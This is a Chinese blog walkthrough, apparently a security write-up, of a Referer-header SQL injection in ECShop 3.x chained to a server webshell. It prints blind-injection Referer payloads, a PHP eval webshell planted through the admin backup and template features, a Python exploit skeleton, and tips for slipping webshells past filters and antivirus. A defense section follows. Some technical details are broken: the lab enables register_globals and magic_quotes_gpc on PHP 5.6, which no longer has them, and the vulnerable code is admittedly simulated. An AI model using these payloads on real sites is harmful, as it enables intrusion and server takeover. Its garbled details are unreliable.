ECShop 3.x Referer注入漏洞深度剖析:从SQL注入到GetShell的完整攻击链实战

MemberAccess implementation must be provided! --Ognl3.2.6的异常解决方案 Ognl更新到3.2.6之后,出现了MemberAccess implementation must be provided!这个异常,看字面意思好像是:成员访问这个接口的实现必须提供,自己去跟了一下Ognl的源码,确实这个是需要自己手动写,作者没有提供一个Default的实现。如果你不传入,作者当做null处理。 实验代码如下: @Test public void found() ... 阅读详情

1. 项目概述:一次针对经典电商系统的深度安全测试

最近在整理历史渗透测试案例库,翻到了一个挺有意思的老项目——针对ECShop 3.x版本的安全评估。ECShop作为一款曾经在国内中小型电商市场占有率极高的开源系统,其安全性一直备受关注。虽然现在新项目用它不多了,但互联网上依然存在大量基于此版本的历史遗留系统,对于安全研究者和企业安全运维人员来说,理解其漏洞原理和利用链,无论是用于内部资产风险排查,还是提升安全防御意识,都极具价值。

这次实战记录的核心,是围绕ECShop 3.x版本中一个经典的“Referer头注入漏洞”展开,并最终演示如何将其与系统其他弱点结合,形成一条从漏洞发现到一键获取服务器权限(GetShell)的完整攻击路径。整个过程涉及代码审计、漏洞利用、权限提升等多个环节,算是一次比较综合的Web安全实战。无论你是刚入门安全的新手,想了解一个完整漏洞的挖掘与利用流程;还是有一定经验的从业者,希望复盘经典漏洞的防御思路,这篇记录都能提供一些直接的参考。

2. 环境搭建与漏洞原理深度解析

2.1 测试环境快速部署

要复现漏洞,首先得有个靶场。我推荐使用Docker快速搭建,这能保证环境纯净且易于重置。

  1. 获取漏洞版本源码 :ECShop 3.x的多个子版本(如3.0.0, 3.0.1)都可能受影响。可以从一些开源漏洞靶场平台或历史源码存档站点找到特定版本的ZIP包。
  2. 编写Dockerfile :为了模拟真实环境,我们构建一个包含Apache、PHP 5.x(ECShop 3.x兼容的版本,如PHP 5.4~5.6)和MySQL的镜像。关键点在于PHP配置需要开启 register_globals (默认为Off,但某些老旧环境或配置不当可能开启,这是漏洞触发的条件之一,我们为了复现需要手动开启)和 magic_quotes_gpc=Off 。
    FROM php:5.6-apache
    RUN apt-get update && apt-get install -y libpng-dev libjpeg-dev libpq-dev mysql-client && rm -rf /var/lib/apt/lists/*
    RUN docker-php-ext-configure gd --with-png-dir --with-jpeg-dir && docker-php-ext-install gd mysqli pdo_mysql
    # 修改PHP配置以适配漏洞环境
    RUN echo "register_globals = On" >> /usr/local/etc/php/php.ini && \
        echo "magic_quotes_gpc = Off" >> /usr/local/etc/php/php.ini
    COPY ./ecshop /var/www/html/
    RUN chmod -R 755 /var/www/html && chown -R www-data:www-data /var/www/html
    
  3. 部署与安装 :使用 docker-compose up -d 启动服务后,访问IP地址,按照ECShop的网页安装向导完成数据库配置、管理员账号设置等步骤。安装成功后,一个存在漏洞的ECShop商城就运行起来了。

注意 :在真实安全测试中,绝对不允许在未经授权的情况下对任何线上系统进行此类操作。所有学习和研究都必须在完全自主控制的隔离环境(如本地虚拟机、Docker容器)中进行。

2.2 Referer注入漏洞原理拆解

这个漏洞的根源在于对用户输入的不完全信任和不当处理。它主要发生在 /flow.php 这个处理购物车流程的文件中。

  1. 漏洞触发点定位 :查看 flow.php 的源代码,可以发现有一段代码用于记录用户访问来源,即 $_SERVER[‘HTTP_REFERER’] ,并将其存入数据库。关键问题在于,在 insert 或 update 数据库操作前,对Referer值没有进行充分的过滤和转义。
  2. 漏洞代码模拟 :简化后的漏洞代码逻辑如下:
    // flow.php 中部分代码逻辑
    $referer = $_SERVER['HTTP_REFERER']; // 直接获取HTTP请求头中的Referer
    $sql = "UPDATE " . $ecs->table('cart') . " SET referer = '$referer' WHERE session_id = '$session_id'";
    $db->query($sql);
    
    这里, $referer 变量直接拼接进了SQL语句。在 magic_quotes_gpc=Off 且未使用 addslashes 等函数处理的情况下,攻击者可以构造特殊的Referer值,提前闭合单引号,注入额外的SQL命令。
  3. 利用条件分析 :
    • register_globals = On :这是一个已废弃且极度危险的PHP配置。当它为On时,PHP会将GET、POST、Cookie等请求参数自动注册为全局变量。这允许攻击者通过请求参数间接覆盖代码中的变量值,为漏洞利用提供了更多可能性。在我们的漏洞链中,它可能被用来覆盖某些关键变量。
    • magic_quotes_gpc = Off :该配置功能是在GET、POST、Cookie数据传入时自动添加反斜线转义引号。当它为Off时,上述来源的数据中的特殊字符(如单引号)不会被转义,使得SQL注入成为可能。
    • 目标SQL语句是可写操作(INSERT/UPDATE):我们需要一个能将注入的SQL语句执行并产生影响的点。

核心原理 :攻击者通过篡改HTTP请求中的 Referer 头部,将恶意SQL代码注入到数据库查询中。由于ECShop在该处未做过滤,在满足服务器配置条件时,即可实现SQL注入攻击。

3. 漏洞利用链的构造与突破

单一的Referer注入可能只能进行数据窃取(盲注),但我们的目标是GetShell。这就需要构造一个利用链,将SQL注入的成果转化为文件写入的能力。

3.1 从注入到数据泄露:获取关键信息

首先,我们需要利用Referer注入,获取进一步攻击所需的信息。

  1. 探测与验证 :使用Burp Suite或类似工具拦截“加入购物车”或“查看购物车”这类会触发 flow.php 记录的请求。修改HTTP请求头中的 Referer 字段为注入探测载荷:
    Referer: http://target.com/‘ and sleep(5) -- -
    
    如果页面响应延迟了大约5秒,说明存在基于时间的盲注漏洞。确认漏洞存在后,就可以进行信息提取。
  2. 提取数据库信息 :通过盲注,我们可以逐步提取数据库名、表名、列名。例如,提取当前数据库名:
    Referer: http://target.com/‘ and if(ascii(substr(database(),1,1))>100, sleep(2), 1) -- -
    
    通过二分法,可以逐个字符猜解出数据库名。用同样的方法,可以查询 ecs_admin_user 表,获取管理员账号和密码哈希(MD5加密)。
  3. 破解密码与后台登录 :获取到MD5哈希后,可以尝试在线解密或暴力破解。一旦获得管理员密码,即可登录ECShop后台管理系统(通常位于 /admin 目录)。这是通往GetShell的关键一步,因为后台往往提供了文件管理或模板编辑功能。

3.2 利用后台功能实现代码写入

进入后台后,寻找能够写入或修改服务器文件的功能点。

  1. 模板文件编辑 :ECShop后台通常有“模板管理”或“语言项编辑”功能。这些功能允许管理员修改 .dwt (模板文件)或 .php 文件。我们可以尝试在模板文件中插入PHP代码。
    • 操作路径 :后台 -> 模板管理 -> 选择模板 -> 编辑库项目(或类似名称)。
    • 风险点 :直接编辑 index.dwt 或 goods.dwt 等文件,在合适位置插入一句话Webshell,例如:``。保存后,访问对应的前端页面,如果模板解析允许执行内联PHP代码,Webshell就能生效。
  2. 数据库备份与恢复功能 :这是更经典和常用的GetShell方法。ECShop后台通常有“数据库管理”->“数据备份”功能。其原理是:将数据库内容备份为一个 .sql 文件,而这个文件的内容和名称在一定程度上是可控的。
    • 构造Payload :我们创建一个新的商品分类、公告或友情链接,在内容字段插入PHP代码。例如,在友情链接的“链接名称”或“链接地址”字段填入:
      ';<?php @eval($_POST['cmd']);?>--
      
      注意,这里需要闭合SQL语句中的引号,并注释掉后续部分。
    • 执行备份 :然后进入数据库备份功能,选择备份包含我们恶意数据的数据表(如 ecs_friend_link )。备份时,系统会将表结构和数据导出为SQL文件。
    • 修改备份文件名 :关键步骤在于,备份生成的SQL文件名可能基于时间戳。我们需要利用文件包含或直接访问漏洞,或者期待备份文件被存放在Web可访问目录。更主动的方法是,如果后台有“恢复备份”或“执行SQL语句”的功能,可以尝试直接恢复我们构造的恶意备份文件,其中的PHP代码在恢复时可能会被写入到某个配置或缓存文件中。

实操心得 :模板编辑的方法受限于模板引擎,不一定总能成功执行PHP。而数据库备份法成功率更高,因为它最终是向服务器写入了一个包含原始PHP代码的文本文件(.sql),只要这个文件能被Web服务器以PHP解析(需要文件后缀是.php,或者服务器配置错误将.sql当作PHP解析),或者其中的代码被写入到另一个.php文件中,就能GetShell。在实际测试中,需要结合具体版本的后台功能灵活尝试。

4. 一键化利用:自动化脚本编写思路

手动操作步骤繁琐,我们可以用Python编写一个自动化漏洞利用脚本,整合从注入探测到GetShell的流程。

4.1 脚本设计框架

import requests
import sys
import time

class ECSHOP_Exploit:
    def __init__(self, target_url):
        self.target = target_url.rstrip('/')
        self.session = requests.Session()
        # 设置一些通用的请求头,模拟浏览器
        self.headers = {
            'User-Agent': 'Mozilla/5.0...',
            'Referer': '' # 动态填充
        }

    def test_injection(self):
        """测试Referer注入漏洞"""
        test_payload = "' AND sleep(5) AND '1'='1"
        self.headers['Referer'] = test_payload
        start_time = time.time()
        try:
            # 触发flow.php的请求,例如访问购物车
            resp = self.session.get(self.target + '/flow.php?step=cart', headers=self.headers, timeout=10)
            elapsed = time.time() - start_time
            if elapsed > 4.5: # 考虑网络延迟
                print(f"[+] 存在基于时间的SQL注入漏洞,响应延迟:{elapsed:.2f}秒")
                return True
        except Exception as e:
            print(f"[-] 请求失败: {e}")
        return False

    def extract_data(self):
        """利用盲注提取管理员密码哈希(示例,实际需要完整的盲注逻辑)"""
        print("[*] 开始盲注提取信息...")
        # 这里应实现完整的布尔盲注或时间盲注逻辑,遍历字符
        # 例如:提取 database() 的第一个字符
        extracted_hash = ""
        # ... 复杂的盲注代码 ...
        # 假设最终提取到哈希:21232f297a57a5a743894a0e4a801fc3 (admin)
        return "21232f297a57a5a743894a0e4a801fc3"

    def login_backend(self, username, password_hash):
        """尝试破解哈希并登录后台(简化版,实际可能需要撞库或已知密码)"""
        # 这里简化处理,假设我们知道哈希对应的明文是‘admin’
        if password_hash == "21232f297a57a5a743894a0e4a801fc3":
            login_data = {
                'username': 'admin',
                'password': 'admin', # 实际中需要破解或使用已知密码
                'act': 'signin'
            }
            login_url = self.target + '/admin/index.php?act=login'
            resp = self.session.post(login_url, data=login_data)
            if '管理中心' in resp.text:
                print("[+] 后台登录成功!")
                return True
        print("[-] 后台登录失败")
        return False

    def upload_shell_via_template(self):
        """尝试通过模板编辑上传Webshell"""
        print("[*] 尝试通过模板编辑GetShell...")
        # 需要先获取CSRF token(如果存在),然后定位到模板编辑接口
        # 构造请求,修改一个.dwt文件,插入一句话木马
        # 这是一个高度依赖具体版本和路径的操作,此处省略具体实现细节
        pass

    def run(self):
        print(f"[*] 目标: {self.target}")
        if not self.test_injection():
            print("[-] 未发现漏洞,退出。")
            return
        hash_val = self.extract_data()
        if self.login_backend('admin', hash_val):
            self.upload_shell_via_template()
            # 或者调用其他GetShell方法
            print("[+] 漏洞利用流程执行完毕。")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    exploit = ECSHOP_Exploit(sys.argv[1])
    exploit.run()

4.2 脚本关键点与注意事项

  1. 盲注模块 :这是脚本最复杂的部分。需要实现一个通用的布尔/时间盲注引擎,能够根据返回内容或响应时间自动猜解数据。这部分代码逻辑严谨但较为冗长,核心是使用 substring() 或 substr() 函数逐位比较字符的ASCII码。
  2. 会话维持 :必须使用 requests.Session() 来保持Cookies,模拟浏览器会话,否则登录状态无法保持。
  3. 错误处理与鲁棒性 :网络超时、页面结构变化、管理员密码已修改等情况都需要考虑。脚本中应加入丰富的异常捕获和状态判断。
  4. 合法性 :再次强调,此类脚本仅用于授权测试或教育目的。在编写和使用时,必须确保目标系统是你拥有完全控制权的测试环境。

一键GetShell的整合 :完整的脚本应当将上述模块串联:检测漏洞 -> 提取管理员哈希 -> 破解或使用默认密码登录 -> 在后台寻找最佳文件写入点(如数据库备份、模板编辑、广告管理) -> 写入Webshell -> 验证Webshell是否可用。每个环节都需要根据目标ECShop的具体版本进行微调。

5. 防御策略与安全加固建议

通过攻击过程,我们可以反向推导出有效的防御措施。

5.1 代码层防御

  1. 参数化查询(预处理语句) :这是根治SQL注入最有效的方法。将所有用户输入都作为参数传递给数据库引擎,而不是拼接进SQL字符串。例如,使用PDO或MySQLi的预处理功能。
    // 错误示例
    $sql = "UPDATE cart SET referer = '$referer' WHERE ...";
    // 正确示例(使用PDO)
    $stmt = $pdo->prepare("UPDATE cart SET referer = :referer WHERE ...");
    $stmt->execute([':referer' => $referer]);
    
  2. 严格的输入验证与过滤 :对于 Referer 、 User-Agent 等HTTP头,同样要进行过滤。验证其格式是否符合预期(例如, Referer 是否是一个合法的URL),并对特殊字符进行转义。
    $referer = filter_var($_SERVER['HTTP_REFERER'], FILTER_VALIDATE_URL);
    if ($referer === false) {
        $referer = ''; // 或记录日志,拒绝请求
    }
    $referer = addslashes($referer); // 如果不能用预处理,至少转义
    
  3. 关闭危险配置 :确保 php.ini 中 register_globals 设置为 Off , magic_quotes_gpc 也建议为 Off (但需在代码层面做好转义)。 display_errors 在生产环境应设为 Off ,防止错误信息泄露路径等敏感内容。

5.2 系统与运维层防御

  1. 最小权限原则 :为Web应用程序连接数据库的账户分配最小必要的权限。通常只授予 SELECT 、 INSERT 、 UPDATE 、 DELETE 权限,杜绝 DROP 、 CREATE TABLE 、 FILE 等危险权限。这样即使发生注入,危害也有限。
  2. Web目录权限控制 :确保Web根目录(如 /var/www/html )下的文件,仅对必要的 .php 、 .html 、图片等资源有执行或读取权限。禁止上传目录有执行PHP的权限,可以将上传文件存储到Web根目录之外,或通过配置Nginx/Apache禁止该目录解析PHP。
    # Nginx 配置示例,禁止上传目录执行PHP
    location ~* ^/uploads/.*\.(php|php5)$ {
        deny all;
    }
    
  3. WAF(Web应用防火墙) :部署WAF可以有效拦截常见的SQL注入、文件包含等攻击payload,为修复漏洞争取时间。但WAF是缓解措施,不能替代代码修复。
  4. 定期更新与安全审计 :对于ECShop这类不再官方维护的系统,应考虑升级或替换。如果必须使用,应定期进行代码安全审计,使用自动化漏洞扫描工具进行检查,并关注安全社区是否有新的漏洞披露。

5.3 安全开发生命周期(SDL)融入

对于开发者而言,应该在开发阶段就杜绝此类问题:

  • 安全培训 :让开发者了解OWASP Top 10等常见漏洞。
  • 使用安全框架 :采用成熟的、具有内置安全机制的框架(如Laravel, ThinkPHP等),避免从零开始编写敏感操作。
  • 代码审计 :在测试阶段引入代码审计或使用SAST(静态应用安全测试)工具。
  • 漏洞奖励计划 :如果条件允许,可以建立SRC(安全应急响应中心),鼓励白帽子报告漏洞。

6. 漏洞复现的常见问题与排查

在复现这个漏洞链时,你可能会遇到以下几个典型问题:

  1. 漏洞无法触发 :

    • 检查PHP配置 :确认Docker或PHP环境中 register_globals 和 magic_quotes_gpc 的设置是否与漏洞要求一致。可以通过创建一个 phpinfo.php 文件来查看当前配置。
    • 确认触发点 :并非所有访问 flow.php 的请求都会记录 Referer 。通常需要触发“更新购物车”或“用户状态变化”的动作。多尝试几个前端操作,并用Burp Suite抓包观察哪个请求的 Referer 被带到了服务端。
    • 版本差异 :不同3.x小版本的代码可能有细微差别。确保你使用的源码版本是已知存在该漏洞的。
  2. 盲注无响应或响应不符合预期 :

    • 网络延迟 :基于时间的盲注受网络波动影响大。适当增加 sleep 时间(如10秒),并设置合理的请求超时。
    • SQL语法错误 :不同数据库(MySQL版本差异)或SQL上下文可能导致Payload失效。尝试使用更通用的Payload,如 ' AND (SELECT 1 FROM (SELECT SLEEP(5))a) AND '1'='1 。
    • 防火墙或WAF干扰 :即使在内网环境,有些Docker镜像或系统自带的防火墙规则可能会干扰异常请求。检查是否有拦截记录。
  3. 后台登录成功但无法GetShell :

    • 功能点缺失 :你下载的ECShop版本可能精简了后台的“数据库备份”或“模板编辑”功能。尝试寻找其他可写入点,如“广告管理”(修改JS代码为PHP)、“邮件模板编辑”等。
    • 文件权限问题 :Web服务器进程(www-data用户)可能没有对模板文件或备份目录的写入权限。检查目标目录的权限( ls -la )。
    • 代码被转义或过滤 :后台可能对输入内容进行了额外的HTML实体转义或过滤,导致 <?php ?> 标签被破坏。尝试使用短标签 <?= 、 <script language=”php”> (取决于PHP配置),或使用编码、拼接等方式绕过。
      • 示例(数据库备份写入) :在插入数据库的字段中,可以使用十六进制编码或CHAR()函数来构造PHP代码,避免直接写入引号和尖括号。例如,将 <?php @eval($_POST[‘c’]);?> 转换为 CHAR(60,63,112,104,112,...) 的形式,在SQL备份还原时,这些字符会被还原成原始代码。
  4. Webshell写入后无法访问 :

    • 文件路径不对 :通过数据库备份写入的文件,其存放路径需要确定。查看ECShop的备份配置,或直接搜索服务器上最近修改的 .sql 或 .php 文件。
    • 文件后缀问题 :备份文件可能是 .sql 后缀,Web服务器默认不将其作为PHP解析。需要利用文件包含漏洞(如果存在),或者寻找一个能将 .sql 文件内容写入 .php 文件的功能。也可以尝试在后台修改文件后缀名(如果功能允许)。
    • 被杀毒软件或安全模块清除 :动态生成的Webshell文件可能被服务器上的安全软件(如云锁、安全狗)或PHP安全模块(如 php_screw 、自定义 disable_functions )检测并删除。尝试使用更隐蔽的Webshell代码,或利用系统本身的功能(如 assert 、 create_function )来执行代码。

排查技巧 :始终开启Burp Suite的代理和日志功能,记录所有请求和响应。对比正常请求和攻击请求的差异。同时,在Docker容器内使用 tail -f /var/log/apache2/error.log 实时查看PHP错误日志,这里通常会暴露出SQL语法错误、文件写入失败等关键信息,是调试漏洞利用Payload的利器。

整个从Referer注入到GetShell的过程,是一次对应用安全纵深防御体系的考验。它告诉我们,一个看似微小的输入点(如HTTP头)处理不当,在结合了不安全的服务器配置和后台功能缺陷后,就可能演变成一条直通服务器核心的致命攻击链。对于防御方而言,修补漏洞需要从代码规范、服务器配置、权限管理等多个层面同时着手,缺一不可。而对于安全研究者,理解并复现这样的经典案例,是构建系统性安全思维不可或缺的一环。

MyBatis-Plus雪花算法实战:原理、配置与分布式ID生成解决方案 在分布式系统架构中,生成全局唯一标识符(ID)是保障数据一致性与系统可扩展性的基础技术。其核心原理在于设计一种能在多节点环境下避免冲突的生成机制,常见方案包括UUID、数据库序列以及雪花算法等。雪花算法因其结合时间戳、工作机器ID和序列号的位结构设计,在保证全局唯一性的同时,实现了ID的趋势递增,这对数据库索引优化和高并发写入性能具有显著价值。该技术广泛应用于分库分表、微服务链路追踪、高并发业务流水号等场景。本文聚焦于MyBatis-Plus框架对雪花算法的集成实现,深入解析其位结构、默认配置,并针对分布式 阅读详情

相关推荐

commons-lang3-3.1.jar 附导入教程.rar

commons-lang.jar是日常编程中必不可少的一个jar包,在日常java编程中,经常会使用到commons-lang.jar包,还没有准备commons-lang.jar包的用户可以前来下载使用,这里为大家提供了commons-lang3-3.1.jar

OGNL简介

今日目标: 了解struts的传值的优先级 OGNL介绍: 1,OGNL的全称是Object Graph Navigation Language(对象图导航语言),它是一种强大的表达式语言 2,OGNL相当于一个上下文(OgnlContext)概念,就是一个Map结构(教室 老师 学生) 它实现了java.utils.Map 的接口。Struts框架默认就支持ognl表达式语言。(从struts项目必须引入ognl.jar包可以看出) 比如:Map 教室 OgnlContext=根对象..

m0_58525944的博客 1607

ognl-3.0.6.jar.zip

java jar包,亲测试可用 安全,可以对其进行数字签名,只让能够识别数字签名的用户使用里面的东西。 加快下载速度; 压缩,使文件变小,与ZIP压缩机制完全相同。 包封装。能够让JAR包里面的文件依赖于统一版本的类文件。 可移植性,能够在各种平台上直接使用。 把一个JAR文件添加到系统的classpath环境变量之后,java通常会把这个JAR文件当做一个路径来处理。通常使用jar命令来压缩,可以把一个或多个路径全部压缩成一个JAR文件。

Maven使用教程

一、Maven介绍 我们在开发项目的过程中,会使用一些开源框架、第三方的工具等等,这些都是以jar包的方式被项目所引用,并且有些jar包还会依赖其他的jar包,我们同样需要添加到项目中,所有这些相关的jar包都会作为项目的依赖。通常,一个Java EE项目所依赖的jar包会有很多。然而,这还并非是主要问题,在管理这些jar包过程中,jar包的版本往往是最令人头疼的问题。选择一个jar包的版本

boyazuo的专栏 1万+

Struts2 OGNL示例(Maven项目)

Struts2的OGNL示例,使用Maven构建,导入请前先安装maven。

I2C通信协议SCL与SDA引脚特性:核心要点总结

深入讲解I2C通信协议中SCL和SDA引脚的工作机制与电气特性,帮助理解i2c通信协议的稳定传输原理,掌握上拉电阻配置与信号时序控制要点。

weixin_42103128的博客 2701

Maven学习笔记之一

Maven是由Apache软件基金组织维护的一款专门为Java项目提供构建和依赖管理的工具。

pikcacho_pkq的博客 422

新能源知识库(37)三代储能电芯介绍

2025年储能电芯三代技术演进概述 截至2025年6月,储能电芯已明确划分为三代: 第一代(280Ah):2019-2023年主流,能量密度180Wh/kg,循环寿命8000次,成本降至0.6元/Wh; 第二代(314Ah):2023年起主导,容量超1kWh,能量密度提升20%,循环寿命达15000次,系统成本降低15%; 第三代(500Ah+):2024年量产,能量密度突破440Wh/L(如宁德时代587Ah、阳光电源684Ah),20尺集装箱容量达6-9MWh,零部件成本降30%。 技术路线分化:卷绕派

竹君子之家 7853

Maven的第一天

maven与idea的版本冲突问题、resources设置、pow的配置

温涛的博客 1669

【Agent】多智能体框架MetaGPT入门教程

创建一个 Action 类的子类 SimpleWriteCode,子类中定义好 prompt,并解析返回结果。在 MetaGPT 中,

酒酿小圆子呀~ 3117

离合器KP点自学习:从原理到工程实践的全景解析

本文全面解析了离合器KP点自学习的原理与工程实践,详细介绍了KP点的物理本质、控制价值及自学习方法。通过扭矩增量式和转速变化式学习法,结合不同变速箱构型的适配策略,提升离合器控制的精度与效率。文章还探讨了液压系统迟滞补偿和摩擦材料老化应对方案,为工程实践提供可靠保障。

weixin_33717117的博客 281

Ognl 使用实例手册

现在的问题主要集中在如何构建一个 Aemo 对象,当做参数丢进去,通过前面的语法篇我们知道 ognl 是支持 new 来创建对象的, 如果 ADemo 恰好提供了全属性的构造方法,那么可以如下操作。下面我们进入实例演示。虽说上面实现了我们的需求场景,但是这里有个坑,我们创建的这个属性会丢到 OgnlContext 上下文中,所以这种操作非常有可能导致我们自己创建的临时对象覆盖了原有的对象。我们这里可以直接访问私有成员,访问私有方法,访问父类的私有成员,这些都得益于我们自定义的。

程序员高级码农的博客 1679

c语言版数据结构课程设计 学生成绩管理系统

此学生成绩管理系统完成15项功能,是我经过很多次的修改得到的。花费时间不短,功能齐全,主要完成了:输入,输出,插入,修改,删除,查询,读取文件,写入文件,复制文件,建立索引,显示各种情况下的信息,追加学生信息等等功能。一共15项。   代码如下: // shujujiegou.cpp : 定义控制台应用程序的入口点。///**本程序采用数组链表形式,原因:数组查询速度快,数组也能实现动态存储

Java 1万+

【后端】Maven体系(一)

Maven 概述 Maven 核心程序解压和配置

柠檬小帽的博客 - 计算机全栈体系 575

Android开发工程师面试问题与参考答案

这是一份Android开发工程师职位面试指南,主要针对自研OS开发岗位。岗位要求3年以上独立开发经验,熟悉Android平台UI设计、四大组件和Java基础。面试问题覆盖五大核心领域:基础知识、开发经验、技术深度、问题解决和性能优化。文章提供了典型面试问题及专业参考答案,帮助应聘者准备关键技术点,如多线程处理、HashMap与ConcurrentHashMap区别、Handler机制等。同时建议应聘者结合项目经验展示优化能力,并注意公司提供完善的薪酬福利和团队文化。

郑伟强dev的专栏 882

C#实战大华智能安防系统:从SDK封装到视频流与智能报警的全链路落地

本文将介绍C#集成大华SDK开发安防系统的实战经验,重点解决多路视频预览卡顿和报警延迟问题。文章通过三层架构设计(SDK封装层、业务服务层、应用层)实现解耦,详细分析线程安全封装、高效解码显示和智能事件联动等核心技术。针对16路摄像头同时预览时CPU占用率过高的问题,提出使用子码流拉流与异步解码的优化方案,并总结8个常见开发陷阱的解决方案。文中还提供了大华智能安防系统的完整架构图,展示从设备层到应用层的交互流程,特别强调业务服务层中视频流服务和智能报警服务的核心功能设计。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 421

Mave概念及其配置

Mave概念 1.1为什么要学习Maven? 1、从『构建』角度解释 ①个人开发流程 ②团队开发流程 引申:更大范围内的团队协作 2、从『依赖』角度解释 ①jar包的规模 随着我们使用越来越多的框架,或者框架封装程度越来越高,项目中使用的jar包也越来越多。项目中,一个模块里面用到上百个jar包是非常正常的。 ②jar包的来源 这个jar包所属技术的官网。官网通常是英文界面,网站的结构又不尽相同,甚至找到下载链接还发现需要通过特殊的工具下载。 第三方网站提供下载。问题是不规范,在使用过程中会出现

runofsun的博客 1389

optee技术简介

OP-TEE(Open Portable Trusted Execution Environment)是一种开源的可信执行环境(TEE),专为ARM TrustZone架构设计。TEE是一种独立的执行环境,运行在主操作系统之外,为敏感任务提供安全的计算空间,如加密、身份验证、密钥管理等。

baron-周贺贺-代码改变世界ctw 1272

Ognl表达式语言

Ognl全称Object Graph Navigation Language,是Apache Commons下的一个子项目。和JSP中的EL表达式一样,通常作为View层访问数据的一种方式。但是OGNL的功能比EL表达式功能强大的多(看完这篇文章后你会觉得OGNL能把EL表达式秒成渣) jar包下载 使用ognl最有名的项目就是Struts2和MyBatis了,关于OGNL在Struts2...

CSDN文章已停止维护,后续文章会在 https://blog.hufeifei.cn 持续更新 1755

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

OGNL 项目使用教程

OGNL 项目使用教程 1. 项目的目录结构及介绍 OGNL(Object Graph Navigation Language)项目的目录结构如下: ognl/ ├── docs/ ├── src/ │ ├── main/ │ └── test/ ├── .gitignore ├── KEYS ├── LICENSE.txt ├── README.md ├── SECURITY.md ├─...

gitblog_00415的博客 446

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

eclipse 中Maven项目 的maven install 、build 、clean

自己在对maven项目打成war包的时候,首先是maven clean,之后maven build的时候出现报错,说找不到该项目下的target 文件 (具体的英文我就不复制了),自己倒腾了好长的时间,最后maven  install一下皆可以了,自己感到很纳闷,自己之前就没有对maven做深入的了解,只是平常的引用个jar包,打个war包什么的,出现这个情况当时真的是很令我抓狂,所以就可以的上网

两碗面的博客 5万+

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

Maven常用命令大全与pom文件讲解

一、Maven常用命令 1.1、Maven 参数 -D 传入属性参数 -P 使用pom中指定的配置 -e 显示maven运行出错的信息 -o 离线执行命令,即不去远程仓库更新包 -X 显示maven允许的debug信息 -U 强制去远程参考更新snapshot包 例如 mvn install -Dmaven.test.skip=true -Poracle 其他参数可以通过mvn help 获取 1.2、maven常用命令 1、mvn clean 说明: 清理项目生产的临时文件...

大王的博客 3140

ognl简介

一、ognl概述 1、 OGNL的全称是Object Graph Navigation Language(对象图导航语言),它是一种强大的表达式语言 。Struts框架使用OGNL作为默认的表达式语言。可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。 2、OGNL有一个上下文(Context)概念,说白了上下文就是一个MAP结构,它实现了java.util...

oydl_1234的博客 1468

mvn -U clean eclipse:clean eclipse:eclipse

  问题:在把项目导入eclipse时候在dos下输入maven –U clean eclipse:clean eclipse:eclipse,明白这行命令的作用但是不明白为什么要把mvn clean 和mvn eclipse结合起来写。   这个是mvn的一个功能,可以两个命令写也可以合成一个命令,主要是为了便利性 用起来方便,就像批量操作一样。你也可以单独使用,也可以一起使用,两种方式...

weixin_34101784的博客 326

maven eclipse:clean eclipse:eclipse web project

一直在用maven来管理项目,感觉到maven的强大,但是使用maven来生成web项目的时候,老实没办法生成web 项目,每次总是要改一下facets, 今天终于弄清楚了。 1,在pom中需要添加 maven-war-plugin 比如:                   org.apache.maven.plugins                 maven-war-p

ChenXiaoTemp的专栏 1402

Maven:如何在eclipse中使用mvn clean install?

1、在Maven项目或者pom.xml上右键——&gt;Run As ——&gt;“Maven Build...”或者Run Configuration——&gt;“Maven Build”2、在“Goals”输入框中输入:clean install -X3、使用时在Run As中选中Maven build即可mvn命令若干:mvn -h,不会用时,可寻求帮助。mvn clean compile,...

Candy_GL的博客 1万+
上一篇: AI模型自我优化:构建感知-诊断-行动闭环的工程实践
下一篇: Go语言中AES加密与压缩的正确实践:GCM模式与安全数据打包
_miccretti
博客等级 码龄11年 7582粉丝 1197原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值